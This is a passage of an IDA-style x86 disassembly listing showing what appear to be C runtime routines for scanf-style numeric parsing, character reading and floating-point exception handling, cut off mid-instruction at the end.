loc_42D336: ; CODE XREF: sub_42C5E0+D16j ; sub_42C5E0+D38j ... jmp short loc_42D33D ; --------------------------------------------------------------------------- loc_42D338: ; CODE XREF: sub_42C5E0+D0Ej jmp loc_42D8CA ; --------------------------------------------------------------------------- loc_42D33D: ; CODE XREF: sub_42C5E0:loc_42D336j jmp loc_42D774 ; --------------------------------------------------------------------------- loc_42D342: ; CODE XREF: sub_42C5E0+3C4j ; DATA XREF: .XComp0:0042D986o mov edx, [ebp+var_20] mov [ebp+var_40], edx movsx eax, [ebp+var_70] test eax, eax jnz short loc_42D352 jmp short loc_42D301 ; --------------------------------------------------------------------------- loc_42D352: ; CODE XREF: sub_42C5E0+D6Ej jmp loc_42D774 ; --------------------------------------------------------------------------- loc_42D357: ; CODE XREF: sub_42C5E0+3C4j ; DATA XREF: .XComp0:0042D97Eo lea ecx, [ebp+var_1D0] mov [ebp+var_1E0], ecx cmp [ebp+var_1D8], 2Dh jnz short loc_42D386 mov edx, [ebp+var_1E0] mov byte ptr [edx], 2Dh mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax jmp short loc_42D38F ; --------------------------------------------------------------------------- loc_42D386: ; CODE XREF: sub_42C5E0+D8Aj cmp [ebp+var_1D8], 2Bh jnz short loc_42D3B3 loc_42D38F: ; CODE XREF: sub_42C5E0+DA4j mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_42DA20 add esp, 4 mov [ebp+var_1D8], eax loc_42D3B3: ; CODE XREF: sub_42C5E0+DADj cmp [ebp+var_1E8], 0 jz short loc_42D3C5 cmp [ebp+var_1C], 15Dh jle short loc_42D3CC loc_42D3C5: ; CODE XREF: sub_42C5E0+DDAj mov [ebp+var_1C], 15Dh loc_42D3CC: ; CODE XREF: sub_42C5E0+DE3j ; sub_42C5E0+E82j cmp dword_4524F0, 1 jle short loc_42D3EE push 4 mov ecx, [ebp+var_1D8] push ecx call sub_429750 add esp, 8 mov [ebp+var_218], eax jmp short loc_42D408 ; --------------------------------------------------------------------------- loc_42D3EE: ; CODE XREF: sub_42C5E0+DF3j mov edx, [ebp+var_1D8] mov eax, off_4522E4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_218], ecx loc_42D408: ; CODE XREF: sub_42C5E0+E0Cj cmp [ebp+var_218], 0 jz short loc_42D467 mov edx, [ebp+var_1C] mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax test edx, edx jz short loc_42D467 mov ecx, [ebp+var_6C] add ecx, 1 mov [ebp+var_6C], ecx mov edx, [ebp+var_1E0] mov al, byte ptr [ebp+var_1D8] mov [edx], al mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_42DA20 add esp, 4 mov [ebp+var_1D8], eax jmp loc_42D3CC ; --------------------------------------------------------------------------- loc_42D467: ; CODE XREF: sub_42C5E0+E2Fj ; sub_42C5E0+E3Fj movsx ecx, byte_4524F4 movsx edx, byte ptr [ebp+var_1D8] cmp ecx, edx jnz loc_42D564 mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz loc_42D564 mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_42DA20 add esp, 4 mov [ebp+var_1D8], eax mov ecx, [ebp+var_1E0] mov dl, byte_4524F4 mov [ecx], dl mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax loc_42D4C9: ; CODE XREF: sub_42C5E0+F7Fj cmp dword_4524F0, 1 jle short loc_42D4EB push 4 mov ecx, [ebp+var_1D8] push ecx call sub_429750 add esp, 8 mov [ebp+var_21C], eax jmp short loc_42D505 ; --------------------------------------------------------------------------- loc_42D4EB: ; CODE XREF: sub_42C5E0+EF0j mov edx, [ebp+var_1D8] mov eax, off_4522E4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_21C], ecx loc_42D505: ; CODE XREF: sub_42C5E0+F09j cmp [ebp+var_21C], 0 jz short loc_42D564 mov edx, [ebp+var_1C] mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax test edx, edx jz short loc_42D564 mov ecx, [ebp+var_6C] add ecx, 1 mov [ebp+var_6C], ecx mov edx, [ebp+var_1E0] mov al, byte ptr [ebp+var_1D8] mov [edx], al mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_42DA20 add esp, 4 mov [ebp+var_1D8], eax jmp loc_42D4C9 ; --------------------------------------------------------------------------- loc_42D564: ; CODE XREF: sub_42C5E0+E97j ; sub_42C5E0+EABj ... cmp [ebp+var_6C], 0 jz loc_42D6C9 cmp [ebp+var_1D8], 65h jz short loc_42D584 cmp [ebp+var_1D8], 45h jnz loc_42D6C9 loc_42D584: ; CODE XREF: sub_42C5E0+F95j mov ecx, [ebp+var_1C] mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx test ecx, ecx jz loc_42D6C9 mov eax, [ebp+var_1E0] mov byte ptr [eax], 65h mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_42DA20 add esp, 4 mov [ebp+var_1D8], eax cmp [ebp+var_1D8], 2Dh jnz short loc_42D5EE mov ecx, [ebp+var_1E0] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx jmp short loc_42D5F7 ; --------------------------------------------------------------------------- loc_42D5EE: ; CODE XREF: sub_42C5E0+FF2j cmp [ebp+var_1D8], 2Bh jnz short loc_42D62D loc_42D5F7: ; CODE XREF: sub_42C5E0+100Cj mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jnz short loc_42D612 mov edx, [ebp+var_1C] add edx, 1 mov [ebp+var_1C], edx jmp short loc_42D62D ; --------------------------------------------------------------------------- loc_42D612: ; CODE XREF: sub_42C5E0+1025j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_42DA20 add esp, 4 mov [ebp+var_1D8], eax loc_42D62D: ; CODE XREF: sub_42C5E0+1015j ; sub_42C5E0+1030j ... cmp dword_4524F0, 1 jle short loc_42D64F push 4 mov edx, [ebp+var_1D8] push edx call sub_429750 add esp, 8 mov [ebp+var_220], eax jmp short loc_42D66A ; --------------------------------------------------------------------------- loc_42D64F: ; CODE XREF: sub_42C5E0+1054j mov eax, [ebp+var_1D8] mov ecx, off_4522E4 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_220], edx loc_42D66A: ; CODE XREF: sub_42C5E0+106Dj cmp [ebp+var_220], 0 jz short loc_42D6C9 mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz short loc_42D6C9 mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx mov eax, [ebp+var_1E0] mov cl, byte ptr [ebp+var_1D8] mov [eax], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_42DA20 add esp, 4 mov [ebp+var_1D8], eax jmp loc_42D62D ; --------------------------------------------------------------------------- loc_42D6C9: ; CODE XREF: sub_42C5E0+F88j ; sub_42C5E0+F9Ej ... mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_42DA80 add esp, 8 cmp [ebp+var_6C], 0 jz short loc_42D723 movsx edx, [ebp+var_70] test edx, edx jnz short loc_42D721 mov eax, [ebp+var_34] add eax, 1 mov [ebp+var_34], eax mov ecx, [ebp+var_1E0] mov byte ptr [ecx], 0 lea edx, [ebp+var_1D0] push edx mov eax, [ebp+var_3C] push eax movsx ecx, [ebp+var_38] sub ecx, 1 push ecx call off_4528A0 add esp, 0Ch loc_42D721: ; CODE XREF: sub_42C5E0+1111j jmp short loc_42D728 ; --------------------------------------------------------------------------- loc_42D723: ; CODE XREF: sub_42C5E0+1109j jmp loc_42D8CA ; --------------------------------------------------------------------------- loc_42D728: ; CODE XREF: sub_42C5E0:loc_42D721j jmp short loc_42D774 ; --------------------------------------------------------------------------- loc_42D72A: ; CODE XREF: sub_42C5E0+3B0j ; sub_42C5E0+3C4j ; DATA XREF: ... mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] cmp eax, [ebp+var_1D8] jz short loc_42D75A mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_42DA80 add esp, 8 jmp loc_42D8CA ; --------------------------------------------------------------------------- loc_42D75A: ; CODE XREF: sub_42C5E0+1157j mov cl, [ebp+var_28] sub cl, 1 mov [ebp+var_28], cl movsx edx, [ebp+var_70] test edx, edx jnz short loc_42D774 mov eax, [ebp+var_1D4] mov [ebp+arg_8], eax loc_42D774: ; CODE XREF: sub_42C5E0:loc_42CDD6j ; sub_42C5E0:loc_42D33Dj ... mov cl, [ebp+var_28] add cl, 1 mov [ebp+var_28], cl jmp short loc_42D7A0 ; --------------------------------------------------------------------------- loc_42D77F: ; CODE XREF: sub_42C5E0+38Bj mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_42DA80 add esp, 8 jmp loc_42D8CA ; --------------------------------------------------------------------------- loc_42D7A0: ; CODE XREF: sub_42C5E0+119Dj mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx jmp loc_42D8A1 ; --------------------------------------------------------------------------- loc_42D7AE: ; CODE XREF: sub_42C5E0+11Dj mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov esi, edx mov eax, [ebp+arg_0] push eax call sub_42DA20 add esp, 4 mov [ebp+var_1D8], eax mov ecx, [ebp+var_1D8] mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx cmp esi, ecx jz short loc_42D806 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_42DA80 add esp, 8 jmp loc_42D8CA ; --------------------------------------------------------------------------- loc_42D806: ; CODE XREF: sub_42C5E0+1203j mov eax, [ebp+var_1D8] and eax, 0FFh mov ecx, off_4522E4 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_42D8A1 mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov esi, edx mov eax, [ebp+arg_0] push eax call sub_42DA20 add esp, 4 mov [ebp+var_1F4], eax mov ecx, [ebp+var_1F4] mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx cmp esi, ecx jz short loc_42D898 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1F4] push edx call sub_42DA80 add esp, 8 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_42DA80 add esp, 8 jmp short loc_42D8CA ; --------------------------------------------------------------------------- loc_42D898: ; CODE XREF: sub_42C5E0+127Cj mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax loc_42D8A1: ; CODE XREF: sub_42C5E0+11C9j ; sub_42C5E0+1245j cmp [ebp+var_1D8], 0FFFFFFFFh jnz short loc_42D8C5 mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 25h jnz short loc_42D8C3 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+1] cmp ecx, 6Eh jz short loc_42D8C5 loc_42D8C3: ; CODE XREF: sub_42C5E0+12D4j jmp short loc_42D8CA ; --------------------------------------------------------------------------- loc_42D8C5: ; CODE XREF: sub_42C5E0+12C8j ; sub_42C5E0+12E1j jmp loc_42C657 ; --------------------------------------------------------------------------- loc_42D8CA: ; CODE XREF: sub_42C5E0+80j ; sub_42C5E0+635j ... cmp [ebp+var_1D8], 0FFFFFFFFh jnz short loc_42D8FE cmp [ebp+var_34], 0 jnz short loc_42D8ED movsx edx, [ebp+var_28] test edx, edx jnz short loc_42D8ED mov [ebp+var_224], 0FFFFFFFFh jmp short loc_42D8F6 ; --------------------------------------------------------------------------- loc_42D8ED: ; CODE XREF: sub_42C5E0+12F7j ; sub_42C5E0+12FFj mov eax, [ebp+var_34] mov [ebp+var_224], eax loc_42D8F6: ; CODE XREF: sub_42C5E0+130Bj mov eax, [ebp+var_224] jmp short loc_42D901 ; --------------------------------------------------------------------------- loc_42D8FE: ; CODE XREF: sub_42C5E0+12F1j mov eax, [ebp+var_34] loc_42D901: ; CODE XREF: sub_42C5E0+131Cj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42C5E0 endp ; --------------------------------------------------------------------------- off_42D908 dd offset loc_42C89A ; DATA XREF: sub_42C5E0+239r dd offset loc_42C820 dd offset loc_42C838 dd offset loc_42C87C dd offset loc_42C825 dd offset loc_42C887 dd offset loc_42C88F dd offset loc_42C8A5 byte_42D928 db 0 ; DATA XREF: sub_42C5E0+233r db 3 dup(7) dd 6 dup(7070707h), 2070701h, 7030707h, 7070701h, 5 dup(7070707h) dd 7040707h, 7050707h, 2 dup(7070707h) db 7, 6 off_42D976 dd offset loc_42C9AB ; DATA XREF: sub_42C5E0+3C4r dd offset loc_42CEE4 dd offset loc_42D357 dd offset loc_42CDDB dd offset loc_42D342 dd offset loc_42CEE0 dd offset loc_42C9F1 dd offset loc_42CDE2 dd offset loc_42CA16 dd offset loc_42D72A byte_42D99E db 0 ; DATA XREF: sub_42C5E0+3BEr db 1 dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D9C0 proc near ; CODE XREF: sub_42C5E0+9E9p ; sub_42C5E0+BCCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 cmp dword_4524F0, 1 jle short loc_42D9E2 push 4 mov eax, [ebp+arg_0] push eax call sub_429750 add esp, 8 mov [ebp+var_4], eax jmp short loc_42D9F7 ; --------------------------------------------------------------------------- loc_42D9E2: ; CODE XREF: sub_42D9C0+Dj mov ecx, [ebp+arg_0] mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_4], eax loc_42D9F7: ; CODE XREF: sub_42D9C0+20j cmp [ebp+var_4], 0 jz short loc_42DA05 mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx jmp short loc_42DA11 ; --------------------------------------------------------------------------- loc_42DA05: ; CODE XREF: sub_42D9C0+3Bj mov edx, [ebp+arg_0] and edx, 0FFFFFFDFh sub edx, 7 mov [ebp+var_8], edx loc_42DA11: ; CODE XREF: sub_42D9C0+43j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_42D9C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DA20 proc near ; CODE XREF: sub_42C5E0+370p ; sub_42C5E0+698p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_0] mov [edx+4], ecx mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jl short loc_42DA5B mov ecx, [ebp+arg_0] mov edx, [ecx] movsx eax, byte ptr [edx] and eax, 0FFh mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_42DA6A ; --------------------------------------------------------------------------- loc_42DA5B: ; CODE XREF: sub_42DA20+1Aj mov ecx, [ebp+arg_0] push ecx call sub_429810 add esp, 4 mov [ebp+var_4], eax loc_42DA6A: ; CODE XREF: sub_42DA20+39j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42DA20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DA80 proc near ; CODE XREF: sub_42C5E0+ECp ; sub_42C5E0+666p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_42DA99 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_434860 add esp, 8 loc_42DA99: ; CODE XREF: sub_42DA80+7j pop ebp retn sub_42DA80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DAA0 proc near ; CODE XREF: sub_42C5E0+E3p ; sub_42C5E0+353p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx loc_42DAA4: ; CODE XREF: sub_42DAA0+30j mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_4] push eax call sub_42DA20 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_434540 add esp, 4 test eax, eax jz short loc_42DAD2 jmp short loc_42DAA4 ; --------------------------------------------------------------------------- loc_42DAD2: ; CODE XREF: sub_42DAA0+2Ej mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42DAA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42DAE0(double) sub_42DAE0 proc near ; CODE XREF: sub_422F50+C3p ; sub_423170+C3p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42DAE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42DB00(int,double,int) sub_42DB00 proc near ; CODE XREF: sub_422F50+85p ; sub_423170+85p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_452B60, 0 jnz short loc_42DB34 mov eax, [ebp+arg_C] push eax ; int mov ecx, [ebp+10h] push ecx mov edx, [ebp+arg_4] push edx ; double push 0 ; int push 0 ; int mov eax, [ebp+10h] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+arg_0] push edx ; int push 1 ; int call sub_42E5B0 add esp, 24h jmp short loc_42DB53 ; --------------------------------------------------------------------------- loc_42DB34: ; CODE XREF: sub_42DB00+Aj call sub_42C1E0 mov dword ptr [eax], 21h push 0FFFFh mov eax, [ebp+arg_C] push eax call sub_42EA40 add esp, 8 fld qword ptr [ebp+arg_4] loc_42DB53: ; CODE XREF: sub_42DB00+32j pop ebp retn sub_42DB00 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 fld qword ptr [ebp+0Ch] fadd qword ptr [ebp+14h] fstp qword ptr [ebp-8] cmp dword_452B60, 0 jnz short loc_42DBA4 mov eax, [ebp+1Ch] push eax mov ecx, [ebp-4] push ecx mov edx, [ebp-8] push edx mov eax, [ebp+18h] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx push 1 call sub_42E5B0 add esp, 24h jmp short loc_42DBC3 ; --------------------------------------------------------------------------- loc_42DBA4: ; CODE XREF: .XComp0:0042DB76j call sub_42C1E0 mov dword ptr [eax], 21h push 0FFFFh mov edx, [ebp+1Ch] push edx call sub_42EA40 add esp, 8 fld qword ptr [ebp-8] loc_42DBC3: ; CODE XREF: .XComp0:0042DBA2j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42DBD0(int,int,int,int,double,int) sub_42DBD0 proc near ; CODE XREF: sub_422F50+B1p ; sub_422F50+129p ... var_5C = byte ptr -5Ch var_24 = dword ptr -24h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch mov eax, [ebp+arg_18] push eax lea ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_0] push edx call sub_42E230 add esp, 0Ch test eax, eax jnz short loc_42DC16 mov eax, [ebp+var_24] and al, 0FEh mov [ebp+var_24], eax lea ecx, [ebp+arg_10] push ecx lea edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx lea edx, [ebp+arg_18] push edx lea eax, [ebp+var_5C] push eax call sub_42DD60 add esp, 18h loc_42DC16: ; CODE XREF: sub_42DBD0+1Cj mov ecx, [ebp+arg_0] push ecx call sub_42E6D0 add esp, 4 mov [ebp+var_4], eax cmp dword_452B60, 0 jnz short loc_42DC5E cmp [ebp+var_4], 0 jz short loc_42DC5E mov edx, [ebp+arg_18] push edx ; int mov eax, dword ptr [ebp+arg_10+4] push eax mov ecx, dword ptr [ebp+arg_10] push ecx ; double push 0 ; int push 0 ; int mov edx, [ebp+arg_C] push edx ; int mov eax, [ebp+arg_8] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+var_4] push edx ; int call sub_42E5B0 add esp, 24h jmp short loc_42DC7E ; --------------------------------------------------------------------------- loc_42DC5E: ; CODE XREF: sub_42DBD0+5Cj ; sub_42DBD0+62j mov eax, [ebp+var_4] push eax call sub_42E650 add esp, 4 push 0FFFFh mov ecx, [ebp+arg_18] push ecx call sub_42EA40 add esp, 8 fld [ebp+arg_10] loc_42DC7E: ; CODE XREF: sub_42DBD0+8Cj mov esp, ebp pop ebp retn sub_42DBD0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 5Ch mov eax, [ebp+28h] push eax lea ecx, [ebp+20h] push ecx mov edx, [ebp+8] push edx call sub_42E230 add esp, 0Ch test eax, eax jnz short loc_42DCEE mov eax, [ebp-24h] or al, 1 mov [ebp-24h], eax mov ecx, [ebp-24h] and ecx, 0FFFFFFE1h or ecx, 2 mov [ebp-24h], ecx mov edx, [ebp+18h] mov [ebp-34h], edx mov eax, [ebp+1Ch] mov [ebp-30h], eax lea ecx, [ebp+20h] push ecx lea edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx lea edx, [ebp+28h] push edx lea eax, [ebp-5Ch] push eax call sub_42DD60 add esp, 18h loc_42DCEE: ; CODE XREF: .XComp0:0042DCACj mov ecx, [ebp+8] push ecx call sub_42E6D0 add esp, 4 mov [ebp-4], eax cmp dword_452B60, 0 jnz short loc_42DD3A cmp dword ptr [ebp-4], 0 jz short loc_42DD3A mov edx, [ebp+28h] push edx mov eax, [ebp+24h] push eax mov ecx, [ebp+20h] push ecx mov edx, [ebp+1Ch] push edx mov eax, [ebp+18h] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp-4] push ecx call sub_42E5B0 add esp, 24h jmp short loc_42DD5A ; --------------------------------------------------------------------------- loc_42DD3A: ; CODE XREF: .XComp0:0042DD04j ; .XComp0:0042DD0Aj mov edx, [ebp-4] push edx call sub_42E650 add esp, 4 push 0FFFFh mov eax, [ebp+28h] push eax call sub_42EA40 add esp, 8 fld qword ptr [ebp+20h] loc_42DD5A: ; CODE XREF: .XComp0:0042DD38j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DD60 proc near ; CODE XREF: sub_42DBD0+3Ep ; .XComp0:0042DCE6p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+8], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+0Ch], 0 mov eax, [ebp+arg_8] and eax, 10h test eax, eax jz short loc_42DDA4 mov [ebp+var_4], 0C000008Fh mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx loc_42DDA4: ; CODE XREF: sub_42DD60+2Cj mov ecx, [ebp+arg_8] and ecx, 2 test ecx, ecx jz short loc_42DDC3 mov [ebp+var_4], 0C0000093h mov edx, [ebp+arg_0] mov eax, [edx+4] or al, 2 mov ecx, [ebp+arg_0] mov [ecx+4], eax loc_42DDC3: ; CODE XREF: sub_42DD60+4Cj mov edx, [ebp+arg_8] and edx, 1 test edx, edx jz short loc_42DDE3 mov [ebp+var_4], 0C0000091h mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, 4 mov edx, [ebp+arg_0] mov [edx+4], ecx loc_42DDE3: ; CODE XREF: sub_42DD60+6Bj mov eax, [ebp+arg_8] and eax, 4 test eax, eax jz short loc_42DE03 mov [ebp+var_4], 0C000008Eh mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, 8 mov eax, [ebp+arg_0] mov [eax+4], edx loc_42DE03: ; CODE XREF: sub_42DD60+8Bj mov ecx, [ebp+arg_8] and ecx, 8 test ecx, ecx jz short loc_42DE22 mov [ebp+var_4], 0C0000090h mov edx, [ebp+arg_0] mov eax, [edx+4] or al, 10h mov ecx, [ebp+arg_0] mov [ecx+4], eax loc_42DE22: ; CODE XREF: sub_42DD60+ABj mov edx, [ebp+arg_4] mov eax, [edx] and eax, 1 neg eax sbb eax, eax inc eax and eax, 1 shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ecx+8] and edx, 0FFFFFFEFh or edx, eax mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 4 neg edx sbb edx, edx inc edx and edx, 1 shl edx, 3 mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 0FFFFFFF7h or ecx, edx mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [eax] and ecx, 8 neg ecx sbb ecx, ecx inc ecx and ecx, 1 shl ecx, 2 mov edx, [ebp+arg_0] mov eax, [edx+8] and al, 0FBh or eax, ecx mov ecx, [ebp+arg_0] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [edx] and eax, 10h neg eax sbb eax, eax inc eax and eax, 1 shl eax, 1 mov ecx, [ebp+arg_0] mov edx, [ecx+8] and edx, 0FFFFFFFDh or edx, eax mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 20h neg edx sbb edx, edx inc edx and edx, 1 mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 0FFFFFFFEh or ecx, edx mov edx, [ebp+arg_0] mov [edx+8], ecx call sub_42EA00 mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, 1 test eax, eax jz short loc_42DEF2 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] or edx, 10h mov eax, [ebp+arg_0] mov [eax+0Ch], edx loc_42DEF2: ; CODE XREF: sub_42DD60+181j mov ecx, [ebp+var_8] and ecx, 4 test ecx, ecx jz short loc_42DF0A mov edx, [ebp+arg_0] mov eax, [edx+0Ch] or al, 8 mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax loc_42DF0A: ; CODE XREF: sub_42DD60+19Aj mov edx, [ebp+var_8] and edx, 8 test edx, edx jz short loc_42DF23 mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] or ecx, 4 mov edx, [ebp+arg_0] mov [edx+0Ch], ecx loc_42DF23: ; CODE XREF: sub_42DD60+1B2j mov eax, [ebp+var_8] and eax, 10h test eax, eax jz short loc_42DF3C mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] or edx, 2 mov eax, [ebp+arg_0] mov [eax+0Ch], edx loc_42DF3C: ; CODE XREF: sub_42DD60+1CBj mov ecx, [ebp+var_8] and ecx, 20h test ecx, ecx jz short loc_42DF54 mov edx, [ebp+arg_0] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax loc_42DF54: ; CODE XREF: sub_42DD60+1E4j mov edx, [ebp+arg_4] mov eax, [edx] and eax, 0C00h mov [ebp+var_C], eax cmp [ebp+var_C], 800h ja short loc_42DF84 cmp 